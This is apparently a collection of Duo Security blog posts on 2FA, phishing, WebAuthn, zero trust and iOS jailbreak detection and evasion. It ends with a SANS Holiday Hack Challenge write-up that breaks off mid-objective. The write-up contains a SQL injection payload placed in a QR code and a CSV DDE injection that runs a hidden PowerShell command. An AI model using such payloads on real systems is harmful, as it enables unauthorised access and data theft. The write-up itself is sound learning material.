The good news is that we are seeing real progress through FIDO with WebAuthn, but it’ll take some time for that to flow through the IT ecosystems, and as we all know federal agencies don’t tend to be early adopters for these sorts of things. So we’re likely a good two years out (my most optimistic self).

So what do we do in the meantime? I’m glad you asked.

We follow the DHS guidance. Now.

Where you have username/password (and we know you do) deploy 2FA. Start looking at a zero-trust security model across your agency. There is good work here from the CIO Council. Reach out to them and engage them to help plot the course for your zero-trust journey.

This also gives the added benefit of being able to change some of the outdated and ineffective password policies we still have in place today, and will hopefully make the Twitter-verse happier when they come back from the next shutdown (God forbid), or from vacation, or from sabbatical, or from whatever event that extended over the imaginary password line.

No one wants to find out the hard way that they have fallen for a phishing scam. There is no shortage of characters on the internet that are more than happy to separate you from your hard-earned money or even worse. They could potentially steal your house right from under you. No one ever thinks it will happen to them but, time and again it appears that empirical evidence points to the contrary. Over time, phishing attacks have evolved to the point where there are now full-fledged tool suites that are available for testers…and attackers alike.

Modlishka and SMS-Based 2FA

The latest iteration is the Modlishka phishing tool, which provides the attacker a simple tool to use a reverse proxy to place the attacker between the user and the target site. The user’s traffic passes through the tool and can capture SMS-based 2FA tokens. Assuming the attacker acts within the allotted time, they could possibly gain access to the victim’s accounts. But for this to work, the attacker would need to be watching at the right time and have valid TLS certificates configured. There are moving parts that need to be in place for this to be a successful attack.

This begs the question: how do we avoid getting phished in the first place?

The State of Phishing

First off, what is phishing? For the uninitiated, it is the practice of sending emails and text messages that are made to appear as if they are originating from a legitimate and reputable company. The idea behind the attacker’s motivation is to convince the recipient to click on a link that may lead to passwords being purloined, credit card numbers being stolen or even malicious code being installed on the victim’s system or device.

To illustrate the prevalence of phishing, let’s look at some data from our free Duo Insight tool. Based on 7,500 phishing simulation campaigns Duo has conducted in the past two years on more than 400,000 recipients, 39 percent of recipients opened the phishing email and 20 percent of recipients clicked the link, making them susceptible to having malware or ransomware installed on their device. Ten percent of recipients entered credentials. All told, 60 percent of phishing campaigns were successful in capturing at least one person’s login credentials.

Tips to Avoid Being Phished

So, how does one avoid this sort of attack? Straight away the first thing to keep in mind is to maintain a healthy paranoia. This is not to say you should wrap your head in tinfoil and be overly concerned about the van on the street that has been delivering flowers from “Flowers By Irene” for the last several days. No, that would be a bridge too far. What is more salient to the discussion is to have a filter in your brain that says “Hold on a tick. Do I really want / need to click that link?” It’s OK to pause for a moment and run that logic through your mind.

A second thing to keep in mind is to make sure that your system software is up to date. This can help the average Internet denizen avoid having to contend with a lot of the security issues that haunt people online. Case in point, I set my parents’ computer to auto update and the number of “help desk” calls have dropped precipitously. You can also make sure that your web browser is the latest and greatest to help reduce the risk of an attack.

When you’re using a website that you are conducting business with, check to see if they offer a two-factor authentication (2FA) option. Static passwords in their own right are hobgoblin that plagues us. Attackers understand human nature well enough that when they compromise a website they will take the pilfered credentials and test them against other websites. The rationale here is that people will reuse passwords on multiple sites.

A way to combat this behavior is to use a password manager. There are multiple options out there such as 1Password, Lastpass, Dashlane and so forth. All of these will go a long way to helping change user behavior. If we can help people to help themselves this would help improve the security posture for many online today.

Apply common sense wherever it is possible to do so. What are the odds that you have a long lost uncle in Nigeria who has found you and is yearning to give you millions? You laugh but it happens. Don’t give out your personal information unless absolutely necessary. If you’re unsure about a website you’re using, don’t hesitate to call said company and ask if this is in fact their website and validate that they need the personal information.

Defense in Depth

Modlishka is the latest tool that has allegedly been used to bypass certain forms of 2FA, and represents the continuing evolution of phishing threats organizations and users face. It serves to highlight the importance of not only implementing the strongest forms of 2FA, such as mobile push-based 2FA and U2F security keys, but to complement and enforce additional device requirements and security policies, which can ensure only corporate-owned and managed devices can access data and applications.

Duo is committed to the development of unphishable 2FA protocols as part of the W3C WebAuthn working group, which strengthen authentication and trusted access.

Duo recommends using the strongest forms of 2FA to defend against credential theft, making users less attractive targets. We also give our customers the choice of safer authentication methods, such as mobile push-based 2FA and U2F security keys, which reduces the risk of credential theft and phishing.

At the same time, organizations can enforce additional device requirements for additional security, which can make sure a device is corporate-owned and managed when it accesses applications.

It’s almost that time of year — the 2019 RSA Conference is only a few weeks away, and Duo Security is getting pumped! Join us along with 50,000 of your closest cybersecurity peers in San Francisco at the Moscone Center from Monday, March 4 through Friday, March 8.

Duo is excited to be an exhibitor for our sixth year in a row — use our pass code XEU9DUOSEC when you register for a complimentary Expo Plus Pass. At the conference, find us at booth #1835 in the newly reopened South Expo Hall to say hello to some of our solutions engineers, pick up some swag, and learn why Duo’s customer ratings are among the top in technology overall, with customers like Etsy and Yelp trusting us to secure access to their most valuable systems and data. We also encourage you to visit the Cisco booth, #6045 in the North Hall, and the Cisco Security booth #1027 in the South Hall.

This year’s RSA Conference theme is “Better,” with a focus on how the industry as a whole (from C-suite execs to those on the frontlines) can help improve the world — not only through improved technology, but through being more proactive, working harder, making security a top priority, and better protecting others so that we can all contribute to a brighter future.

As in previous years, this week-long conference hosts sessions on a wide range of topics. Hear from Bruce Schneier, CTO at IBM Resilient and IBM Security, as he advocates for technologists to become more involved in public policy. Or learn about the impact of stress on the industry from renowned expert Dr. Maslach as she covers championing wellness in your organization.

Unlike 2018, this year’s keynote sessions will be held at two stages: at the West Stage, you’ll find featured sponsors and esteemed guest speakers, such as writer, actor, and producer Tiny Fey; and Dr. Hugh Thompson, RSA Conference Program Chair. Or, head to the South Stage in the newly opened Moscone Center South to catch sessions from industry experts such as Sylvia Acevedo, CEO of Girl Scouts of the USA; or Emily Heath, Vice President and Chief Information Security Officer for United Airlines.

For more great speaker sessions, mark your calendars for the following presentations:

• Sunday, March 3, 1:30 – 2:00 p.m., if you'll be in town before the conference, don't miss Duo engineer Miranda Fullerton as she presents "Arcades and Audits: What Gaming Can Do For Your Security Posture" at BSidesSF. This talk discusses how organizations can make running a team through a disaster recovery exercise engaging by gamifying the experience, drawing on research about the long-lasting positive effects of video games, such as perception, attention, memory and decision-making.
• Monday, March 4, 1:00 – 1:45 p.m., head over to the Cloud Security Alliance Summit, where Duo and Cisco will co-sponsor the panel, “The Approaching Decade of Disruptive Technologies,” moderated by Jennifer Steffens, CEO IOActive, and featuring panelist Wendy Nather, Global Advisory CISO, Duo, along with leaders from Centrify, Okta and Onapsis.
• Tuesday, March 5, 8:55 – 9:15 a.m., join Cisco’s Liz Centoni and Matt Watchinski at the West Stage. Liz Centoni is the Senior Vice President and General Manager for Cisco IoT. Matt Watchinski is the Vice President of the Global Threat Intelligence Group at Talos.
  
• Tuesday, March 5, 2:20 – 3:10 p.m., join us for the session, “Machine Learning: The What and Why of AI” by TK Keanini, Principal Engineer at Lancope Engineering.
  

In addition to visiting with us at the Duo booth and during our panel session, let us make time for you at one of our private meeting suites, where we’ll have a Duo representative walk you through the finer details of our solution. Please reach out to adr@duo.com to schedule an appointment.

With so much happening at the conference, be sure to unwind during the many networking opportunities throughout the week. In addition to receptions and bar crawls, the RSA Conference will host the first ever Intro to Capture the Flag on Thursday morning. Sponsored by RSAC, Women’s Society in Cyberjutsu (WSC), and SANS, this activity welcomes women of all experience levels to work collaboratively with SANS instructors, WSC members and fellow attendees to find vulnerabilities on networks while enjoying coffee and bagels.

For more opportunities to catch up with your peers, or if you’re looking for a way to relax, there will also be plenty of parties in the evenings… we happen to know one you won’t want to miss!

Cisco Customer Appreciation Event

Join Cisco (and Duo!) on Wednesday, March 6 starting at 8 p.m. where we’ll be partying all night at this historic downtown venue. Reach out to your Duo Sales contact or adr@duo.com for a formal invite.

WebAuthn is a browser-based API that allows for web applications to create strong, public key-based credentials for the purpose of user authentication. The last few months have seen vendors and manufacturers step up to support WebAuthn in a big way. Apple has announced upcoming support for WebAuthn in Safari, meaning all major browser vendors will support the API. Chrome has added support for biometric authentication with Mac OS’s Touch ID in Chrome, backed by Apple’s Secure Enclave. And the W3C is formalizing the specification itself.

Given all this momentum to make WebAuthn successful, we want to be sure the developer community has the background and knowledge to begin using and implementing WebAuthn in their own websites. To that end, I have worked on a Guide to Web Authentication, which aims to provide a useful developer resource for engaging with WebAuthn to replace or supplement password-based authentication on your own websites.

The guide contains an introduction to the existing problems with passwords, and discusses how WebAuthn uses public key cryptography backed with secure hardware to solve these problems. It gives an overview of how registration and authentication work at a high level, using cryptographic signatures as proof of a user’s identity. It provides code samples for registering and authenticating with WebAuthn, alongside interactive documentation describing the purpose of each parameter.

Baby, breakdown, go ahead and give it to me.
Breakdown, honey take me through the night.
Breakdown now I’m standin' here can't you see.
Breakdown, it's all right.
-Tom Petty

We learn a lot when we have to. Whether it’s in our home life, learning to save for that car or for the kids’ tuition. We are sometimes faced with barriers and roadblocks to overcome: we lose a job; we take a pay cut; our car breaks down. Whatever. We keep going. We persevere.

So the government is (mostly) shut down. This is not a blog about that. (Goodness knows I have a lot to say on the subject, but this is more about what do we do – what can we do – when life throws us a curveball and security still has to get done.)

We talk a bunch around here about zero trust and what it means for organizations and agencies to move to this type of security model. It’s fair to say I’ve “drank the Kool-Aid” when it comes to this journey. It appeals to my innate feeling that complexity breeds chaos and that simplicity is the only way out of this death spiral of security spending that more organizations find themselves in. Now, don’t get me wrong, I am not a fan of simplicity just for simplicity’s sake. It has to serve a higher purpose. This is the same reason I’m an Apple fan. No one can argue that Apple did make our lives more connected (for better or worse) and they did it by maniacally focusing on simplicity. Ease of use.

I feel it in my bones that zero trust does the same thing for security, but there is an important part of zero trust that often gets overlooked: automation.

Not automation in the “car manufacturing assembly line” kinda way, but automating security decisions, in real time, the same way that secure tunnels (TLS) are created and destroyed, all day long, millions at a time without a human being having to lift a finger (beyond the initial setup). Access decisions need to happen just as quickly, just as often and just as securely. And these transactions need to be simplified. We can’t layer box after box inside our networks and expect these workflows to keep up with the volume of transactions that we process today let alone what we’ll do tomorrow. We can’t buy our way out of this. We must simplify.

(Oh, by the way, more cloud plus 5G will throw a wrench in this “box chaos” anyway, so it’s time to stop running in that direction.)

Automation is the only way out of this. Automating the workloads. Automating authentication decisions. Automating stand up and teardown of the connective tissue between the user and the applications. Some folks call this segmentation, or micro-segmentation, and that’s fine. Call it what you want. I call it “access dial tone.” The user requests something, and if all's right with the world (auth, workflow access), they get it. No muss, no fuss. Immediate. Just like picking up the phone.

Duo thinks a lot about automation. From making access and trust decisions based on easily discernible attributes (where is the auth request originating from? etc.), to looking at user behavior to help automate access. It’s also worth noting all the security data goodness we might glean from the variety of Cisco tools that collect data (ISE, Talos, AMP, etc.) and automate the application of this data to determine the trustworthiness of the request.

I’m not a huge fan of “hype tech” – things like AI, big data, blockchain, etc. – but some of these will absolutely play a role here. I don’t think we can get to true dial tone without AI-based automation due to the volume and frequency of the data (big data, cough cough). So hype or not, they have a role to play.

Before anyone gets too freaked out, I am not advocating that people don’t play a role. Just like the evolution of the telephone, roles change (how many switch operators still exist in the world?). We still need eyes on consoles of curated events. We still need security professionals to interpret data (after it’s been through the AI meat grinder). And we will still need people to provide direction and policy. What we don’t need is “box chaos” administrators. The world will change. Is changing.

We also still need people to watch over the physical security barriers at airports and ports of entry. We need their smiling faces because we are people, not boxes, and we need to interact with other people. My belief in this is the same reason I don’t use the “self service” lanes in my local grocery store. In some places, automation doesn’t make as much sense to me. For moving bits and providing application access, though, it makes perfect sense.

Hopefully, by the time this blog hits the air our federal friends will be back at work, getting their paychecks and all will be right with the world (or as right as it was in December). As a (very) frequent traveller, I rely on those smiling faces week in, week out. I’d like to see them keep smiling.

Why Do People Jailbreak?

Apple’s software distribution and security model relies on end users running software exclusively distributed by Apple, either via inclusion in the base operating system or via the App Store.

To run applications that are not available in the App Store or make modifications to the behavior of the operating system, a “jailbreak” is required—effectively, an exploit that allows the user to gain administrative access to the iOS device. After jailbreaking, users can install applications and tweaks via unofficial app stores.

Jailbroken devices are also excellent tools for security researchers. iOS kernel security research is significantly easier with root-level access to the device. Gal Beniamini from Google’s Project Zero says:

Apple does not provide a “developer-mode” iPhone, nor is there a mechanism to selectively bypass the security model. This means that in order to meaningfully explore the system, researchers are forced to subvert the device’s security model (i.e., by jailbreaking).

In short, people jailbreak their devices for many reasons, ranging from research to personal philosophy. Regardless of the user’s rationale, the presence of a jailbreak on a device means that the security model of the OS can no longer be adequately trusted or reasoned about by an application.

The History of Jailbreaking

The first iPhone was released in June 2007, and in August 2007, George Hotz became the first person to carrier-unlock the iPhone. A carrier-unlock is not the same as a jailbreak, but in this case, jailbreaking the device was a prerequisite. Hotz’s original exploit required a small hardware modification to the device, but software-only jailbreaks were released soon after.

Since then, Apple and jailbreak developers have been in a cat-and-mouse game, with Apple patching vulnerabilities while developers and researchers attempt to find new ones.

The jailbreak scene has shrunk significantly since the release of the original iPhone. As Apple hardens the security of its iOS devices, exploiting them becomes significantly harder. The value of an iOS exploit on the private market is easily several hundred thousand dollars, and can also exceed $1,000,000 under the right criteria (remote, persistent and zero-click), making a private sale a much more lucrative option than releasing it publicly.

Why Do We Care About Jailbreaking at Duo?

At Duo, we give administrators insight into the health of devices used to access corporate resources. In a BYOD context, it is important to be able to understand the security properties of the devices on your network.

Jailbreaking an iOS device does not, on its own, make it less secure. There are two main issues with the security of a jailbroken device:

1. First, running untrusted (non-App-Store*) code on the device, especially outside of the sandbox, makes it harder to reason about the security properties of the device.
2. The second, more concerning issue is that users of jailbroken devices frequently hold off on updating their devices, as jailbreak development usually lags behind official software releases.

Administrators may want to only allow up-to-date devices access to resources on their network, as software updates frequently patch security vulnerabilities. A jailbroken device can masquerade as an up-to-date device by misreporting its software version.

As a result, administrators cannot trust version information submitted by jailbroken devices, so it is important to be able to detect the jailbroken state.

* While, in general, we can expect that the App Store review process will prevent actively malicious applications from distribution on the App Store, this is not always the case. The XcodeGhost malware is an example of how malicious code was shipped as part of well-known and trusted applications on the App Store.

How Are Jailbreaks Usually Detected?

There exists only scattered information online about jailbreak detection methodology. This is partially because jailbreak detection is a sort of “special sauce.” Developers of mobile applications would rather keep their methodology private, and there are no real incentives to talking about it publicly.

I was able to learn about existing jailbreak detection methods from some online documentation and communities like r/jailbreak, but most of the useful information I learned in the course of this research came from reverse engineering popular anti-jailbreak-detection tools.

Most jailbreak detection methods fall into the following categories:

• File existence checks
• URI scheme registration checks
• Sandbox behavior checks
• Dynamic linker inspection

File Existence

Most public jailbreak methods leave behind certain files on the filesystem. The clearest example is Cydia.

Cydia is an alternative app store commonly used to distribute tweaks (UI changes, extra gestures, etc.) and third-party applications to users of jailbroken devices. As a result, nearly every jailbroken device has a directory at /Applications/Cydia.app. If this file exists on the filesystem, you can be sure your application is running on a jailbroken device.

There are also various binaries such as bash and sshd commonly found on jailbroken devices, as well as files intentionally left by jailbreak utilities to mark that a device has already been jailbroken, preventing the utility from running twice and possibly causing unintended harm.

URI Schemes

iOS applications can register custom URI schemes. Duo uses this functionality so that clickable web links can open the Duo Mobile app, making the setup of Duo Mobile easy.

Cydia registered the cydia:// URI scheme to allow direct links to apps available via Cydia. iOS allows applications to check which URI schemes are registered, so the presence of the cydia:// URI scheme is frequently used to check if Cydia is installed and the device is jailbroken.

Unfortunately, some apps perform this detection by attempting to register the cydia:// URI scheme for themselves, so checking if the scheme is registered may produce a false-positive on a non-jailbroken device.

Sandbox Behavior

Jailbreaks frequently patch the behavior of the iOS application sandbox. As an example, calls to fork() are disallowed on a stock iOS device: an iOS app may not spawn a child process.

If you are able to successfully execute fork(), your code is likely running on a jailbroken device.

Dynamic Linker Inspection

Dynamic linking is a way for executables to take advantage of code provided by other libraries without compiling and shipping that code in the executable. This helps different executables reuse code without including a copy of it. Dynamic linking allows for much smaller binaries with the same functionality - the alternative to this is “static linking,” where all code that an executable uses is shipped with the executable.

While we haven’t discussed them yet, anti-jailbreak-detection tools are frequently loaded as dynamic libraries. The iOS dynamic linker is called dyld, and exposes the ability to inspect the libraries loaded into the currently-running process. As a result, we should be able to detect the presence of anti-jailbreak-detection tools by looking at the names and numbers of libraries loaded into the current process. If an anti-jailbreak-detection tool is running, we know the device is jailbroken.

How Do End Users Prevent Detection?

Many mobile applications will refuse to run if they detect that the device they are running on is jailbroken. In Duo’s case, we do not prevent use of the Duo Mobile app, but Duo administrators may prevent jailbroken devices from authenticating to protected applications.

For these reasons, users of jailbroken devices frequently install anti-jailbreak-detection tools that aim to hide the tampered status of the device. These tools modify operating system functionality such that the device acts as though it were in an untampered state. They are effectively a type of intentionally installed rootkit, though generally running in userland rather than in the iOS kernel.

The specific functions that are hooked and the methods used to hook them vary.

Objective-C Runtime Method Hooking

Objective-C dispatches method calls at runtime. Calling a method is akin to sending a message (ala Smalltalk). This stands counter to languages like C in which a function call might take the form of a jump to the called method’s location in memory.

Because method calls are dispatched at runtime, Objective-C also allows you to add or replace methods at runtime. This is sometimes referred to as “method swizzling,” and takes the form of a call to class_addMethod or method_setImplementation.

fileExistsAtPath is an Objective-C method commonly used to check for the existence of jailbreak artifacts. Replacing the implementation of fileExistsAtPath to always return false for a list of known jailbreak artifacts is a common strategy to defeat this jailbreak detection technique.

Editing the Linker Table

When a dynamically loaded library is used in an executable, its symbols must be bound: the executable has to figure out where the shared code actually lives in memory. On an iOS system using dyld, a call to printf, for example, is actually a call to an address that lives in the __stubs section. At this address is a single jmp instruction to an address loaded from the __la_symbol_ptr (lazy symbol pointers) or __nl_symbol_ptr (non-lazy symbol pointers) section.

Lazy symbol pointers are resolved the first time they are called, and non-lazy symbol pointers are resolved before the program runs. You can read more about how the linker works on Mike Ash’s blog, but the important thing to understand is that the entry in the __xx_symbol_ptr table will, after the symbol has been resolved, contain the proper address for the function being called.

A consequence of this design is that if you want to hook every call to printf, you can do so by replacing a single entry in the __la_symbol_ptr section. All calls to printf from that point on will jump to your custom hook.

Anti-jailbreak-detection tools make use of this technique to hook functions that may be used to check for file existence or that may expose non-standard sandbox behavior.

This is an example of a hooked version of the fopen function. As a reminder, the fopen function will attempt to open a file (by path name), and either return a pointer to the open file handle or null if it cannot open the file.

If fopen returns non-null when called with a path to a known jailbreak artifact, you can be sure the device is jailbroken. The above hooked version checks the path of the file to be opened against a list of “forbidden” files. These are known jailbreak artifacts as well as files that are usually present on the system but can only be opened if the sandbox has been modified. The hooked fopen will act as though those files do not exist or cannot be opened, and otherwise defer to the original fopen implementation.

Functions like fopen, lstat, etc. are hooked to prevent detection of files on the filesystem. Some other functions, such as fork, as hooked to always return a constant value (for example: a hooked version of fork may return -1, indicating that fork is not allowed, which is consistent with the behavior of an untampered sandbox).

Patching the Linker

We mentioned that dyld exposes functionality that allows clients to inspect what libraries have been loaded into the running process. Anti-jailbreak-detection tools are loaded into processes as shared libraries, and dyld will expose this. To combat this, some anti-jailbreak-detection tools also hook exposed dyld functionality to hide their presence.

A slightly more interesting way to detect the presence of a jailbreak using the dynamic linker makes use of dlsym to try to determine the addresses of the original, unhooked functions. dlsym should give you the correct address for a dynamically linked function, even if its entry in the linker symbol table has been overwritten.

Some anti-jailbreak-detection tools are aware of this, and will actually intercept calls to dlsym and return pointers to the hooked functions. This is an interesting example of the cat-and-mouse game that has been played between app developers who wish to detect jailbroken devices and hobby developers who maintain anti-jailbreak-detection tools.

Summary

These are only some of the methods used to evade jailbreak detection. While they differ in nature, they all rely on various forms of indirection: functionality provided by the Objective-C runtime or by shared libraries can be overridden with ease and made to report “correct” answers, similar to a rootkit.

An ideal jailbreak detection method would rely on as little indirection as possible.

Can We Reliably Detect Jailbroken Devices?

We would like to look for artifacts of a jailbroken device (existence of certain files, sandbox behavior, etc,) while relying on as little shared functionality as possible. However, we need to rely on functionality exposed by the operating system to make these checks. In the usual case, to check if a file can be opened, we would call the fopen syscall wrapper exposed as part of a shared library. As detailed in previous sections, functions in shared libraries might be replaced with tampered versions that prevent our checks from working.

As a refresher, a syscall is an interface to privileged functionality exposed to userspace code by the kernel. It may be dangerous to allow userspace code to directly read or write blocks on a hard drive, for example, so we instead use the open syscall to say “hey kernel, can you please perform the privileged action of opening this file for me, and then give me a handle I can use to interact with it.” Functions like fopen are just that—functions—but they wrap a special type of instruction used to jump into the kernel.

On the x86 architecture, under Linux, the INT 0x80 instruction is the most well-known way to perform a syscall (with newer options available, like the x86-64 syscall instruction). INT stands for “interrupt,” and the INT instruction causes the CPU to jump to a special section of code called an interrupt handler, running in the context of the kernel. The end result is that userspace can trigger the execution of privileged code in a controlled manner, without being able to arbitrarily execute privileged code.

The iPhone uses the ARM processor architecture. ARM’s equivalent of INT is the SVC opcode (“Supervisor Call”), and the equivalent to INT 0x80 on an ARM processor is SVC 0x80. Functions like fopen may do some sanity-checking and processing of arguments in user-space, but they will eventually use SVC 0x80 to ask the kernel to perform the privileged action of providing access to a file.

The important takeaway here is that if we would like to avoid relying on shared wrapper functions that may be hooked, we can actually perform syscalls directly using the same opcodes the wrapper functions use. We can also inline these calls to avoid having a single call target for our custom syscall wrappers that might be overwritten. This lets us avoid the layers of indirection that come with jumping to functions exposed by shared libraries, shielding us from possible symbol table tampering.

Drawbacks

Even though this approach solves some of our problems, there are drawbacks.

First, writing custom syscall wrappers can require maintenance, especially if there are new architectures you need to support. Additionally, the syscall interface may change over time, and the shared libraries provided by the operating system will keep up with those changes, whereas your custom implementation may not.

Second, while this approach makes it harder for end users to evade jailbreak detection, it doesn’t make it impossible. The flow of the data after the syscall—say, a boolean that indicates whether a jailbreak artifact exists—is still vulnerable to tampering. Additionally, a determined attacker could patch out the checks, or even possibly modify the kernel.

Conclusion

Approaches like this must be considered in the context of a threat model. It is impossible to guarantee that you will be able to detect a tampered device for the simple reason that you are restricted to running in userspace, whereas anti-jailbreak-detection utilities can run in a privileged context. With that said, the goal is not perfect security, but rather sufficient security such that the average end user of a jailbroken device—who is not a determined attacker—will not be able to evade detection.

Ultimately, the security of your application cannot rely on hiding the way it works. Proper server-side validation of client-submitted data, use of well-known cryptographic protocols, and use of hardware-backed cryptographic functionality available in many newer devices all go a long way to strengthening the security posture of your application without relying on obscurity.

Every year during the holiday season, SANS publishes their annual Holiday Hack Challenge. These challenges are a great way to learn new and useful exploitation techniques to solve fun puzzles.

The Duo Labs team always enjoys participating in the Holiday Hack Challenge, and have written about our solutions in the past. The challenges have been very polished, and this year is no exception.

As always, we first want to extend our thanks to Ed Skoudis and the SANS team for always putting together a thorough, fun challenge that never fails to teach something new.

This year’s Holiday Hack Challenge revolved around a virtual security conference called KringleCon hosted in the North Pole by Santa himself. As part of the conference, we’re asked to solve 10 technical objectives as well as mini-challenges in the form of a “Cranberry Pi” terminal.

For this writeup, we’ll focus on the solutions to the objectives first, followed by the Cranberry Pi solutions.

Objectives

Objective 1: Orientation Challenge

What phrase is revealed when you answer all of the questions at the KringleCon Holiday Hack History kiosk inside the castle?

Visiting the kiosk gives six questions about previous challenges. The answers were:

1. In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?

a) Answer: Firmware

2. In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?

a) Answer: ATNAS

3. In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?

a) Answer: Business Card

4. In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?

a) Answer: Cranberry Pi

5. In 2017, the North Pole was being bombarded by giant objects. What were they?

a) Answer: Snowballs

6. In 2017, Sam the snowman needed help reassembling pages torn from what?

a) Answer: The Great Book

Objective 2: Directory Browsing

Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out.

The CFP site contains a single link encouraging us to apply to the KringleCon CFP:

The “Apply Now!” button contains a link to https://cfp.kringlecastle.com/cfp/cfp.html. Removing the “cfp.html” shows that directory indexing is enabled, revealing the file “rejected-talks.csv”:

Opening the file and searching for the talk title “Data Loss for Rainbow Teams: A Path in the Darkness” reveals it was submitted by John McClane.

Objective 3: de Bruijn Sequences

When you break into the speaker unpreparedness room, what does Morcel Nougat say?

The speaker unpreparedness room was protected by a combination lock:

As the objective title suggests, we can use a de Bruijn sequence to generate a set of codes that will enumerate all possible combinations.

To solve the challenge, I first used an online generator to create the de Bruijn sequence. I’m lazy, so instead of entering the combination manually, I wrote a script to do it for me, which quickly found the correct code:

<snip> Trying code: 1001 Trying code: 0012 Trying code: 0120 Found the code: 0120

Inside the speaker unpreparedness room, Morcel Nougat says “Welcome unprepared speaker!”

Objective 4: Data Repo Analysis

Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?

We cloned the repository using:

git clone https://git.kringlecastle.com/Upatree/santas_castle_automation.git

Viewing the previous changes in the Git history using git log -p reveals this diff:

commit 7f46bd5f88d0d5ac9f68ef50bebb7c52cfa67442 Author: Shinny Upatree <shinny.upatree@kringlecastle.com> Date: Tue Dec 11 08:25:45 2018 +0000 removing file diff --git a/schematics/for_elf_eyes_only.md b/schematics/for_elf_eyes_only.md deleted file mode 100644 index b06a507..0000000 --- a/schematics/for_elf_eyes_only.md +++ /dev/null @@ -1,15 +0,0 @@ -Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference. - -Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did! - - -Hopefully this is the last time we have to change our password again until next Christmas. - - - - -Password = 'Yippee-ki-yay' - - -Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'

The password included in the diff is the answer to the challenge: “Yippee-ki-yay.” This password is also used to extract the contents of the file “ventilation_diagram.zip” included in the repository. This gives maps that are used to solve the ventilation maze mini-challenge.

Objective 5: AD Privilege Discovery

Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws.

The VM contains an installation of Bloodhound, which is a fantastic tool used to find paths to Domain Admin. One of the features of Bloodhound is the ability to query for the shortest paths to Domain Admins from Kerberoastable users:

Running this query gives us a graph that looks like this:

We’re told to avoid RDP as a control path. The only path that does not use RDP is the one towards the middle of the graph, where LDUBEJ00320@AD.KRINGLECASTLE.COM is an admin to a computer which has a domain admin session. That’s the answer to this objective.

Objective 6: Badge Manipulation

Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel?

For this objective, we’re given a disabled badge for Alabaster Snowball which contains a QR code:

The QR code encodes a random string of characters. As part of the hint, we’re told that the QR code reader may have a SQL injection vulnerability, which suggests that we need to create a fake QR code containing our SQLi payload.

To make this easier, I used the qrcode Python library. To start, I created a QR code with a single quote:

$ qr “‘“ > test.png

This returned a SQL error, indicating the endpoint is vulnerable to SQL injection:

{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' LIMIT 1' at line 1\")","request":false}

To solve the challenge, I created a QR code with an always true boolean, ensuring the account is enabled:

qr "' OR '1'='1' AND enabled = 1 LIMIT 1#" > badge.png

Uploading this QR code exploits the vulnerability, giving us the access code:

Objective 7: HR Incident Response

Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with "K."

This challenge allows us to upload a CSV, suggesting that we should use DDE injection. I first tried downloading and executing a reverse shell using Powershell Empire, but I couldn’t get it to work. As a fallback, I noticed when visiting a random URL that the site displayed the full path to the uploads directory:

This suggests that maybe we can copy the file to the publicly accessible folder and download it from there. To make a copy of the file, I created a CSV with the following:

=cmd|'/c powershell.exe -W Hidden Copy-Item "C:\candidate_evaluation.docx" "C:\careerportal\resources\public\randomfilename.docx";'!A1

Uploading this and then requesting https://careers.kringlecastle.com/public/randomfilename.docx gave us the file with the flag:

Objective 8: Network Traffic Forensics

Santa has introduced a web-based packet capture and analysis tool at https://packalyzer.kringlecastle.com to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?

This one was tricky! After solving a Cranberry Pi challenge, an elf suggests that the HTML tells us where the server-side code is. After creating an account and logging in, this comment is found in the page:

We can download app.js from /pub/app.js, revealing portions of the code.

Our goal is to decrypt HTTP/2 traffic, so we want to look for the private keys used by the server. Looking through the code, it appears that there’s a keylog file which claims to be used to view traffic:

To get the keylog file, we need to determine the values for the DEV and SSLKEYLOGFILE environment variables. Looking further in the code, we see that the environment variables are populated into an env_dirs variable (remember: we previously saw that dev_mode is enabled).

The variable env_dirs is used to set up and serve routes, with an error handler in case things go wrong:

This means that if we craft URLs in the form of /[environment_variable]/filename, the value of the environment variable will be retrieved and used when serving the file. We can see this happening if we try the URL /SSLKEYLOGFILE/bogusfile:

The error is thrown since the file doesn’t exist, revealing the value of the environment variable! We can do the same thing for the DEV environment variable, revealing that the value is “dev”.

Putting these together, we can retrieve our keylog file from /dev/packalyzer_clientrandom_ssl.log:

We then used the site to take a PCAP containing the HTTP/2 traffic. Importing these keys into Wireshark decrypts the traffic, revealing credentials submitted for Alabaster Snowball:

Logging into the site using these credentials allows us to download a “super_secret_packet_capture.pcap” file:

Opening the PCAP reveals a single SMTP connection containing an email from Holly Evergreen to Alabaster:

The email contains an attachment encoded as base64. Decoding the contents gives us a PDF file describing how to transpose music, using “Mary Had a Little Lamb” as the example (which is also the solution to the objective):

Objective 9: Ransomware Recovery

Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks.

Using the access code from Objective 6 to get access to the back room, we’re given multiple challenges emulating a ransomware response.

H4 - Objective 9.1: Catch the Malware

Assist Alabaster by building a Snort filter to identify the malware plaguing Santa's Castle.

For this challenge, we’re given access to an IDS sensor and asked to write a Snort rule that matches only bad DNS traffic. We started by using tshark to see what DNS traffic we’ve logged:

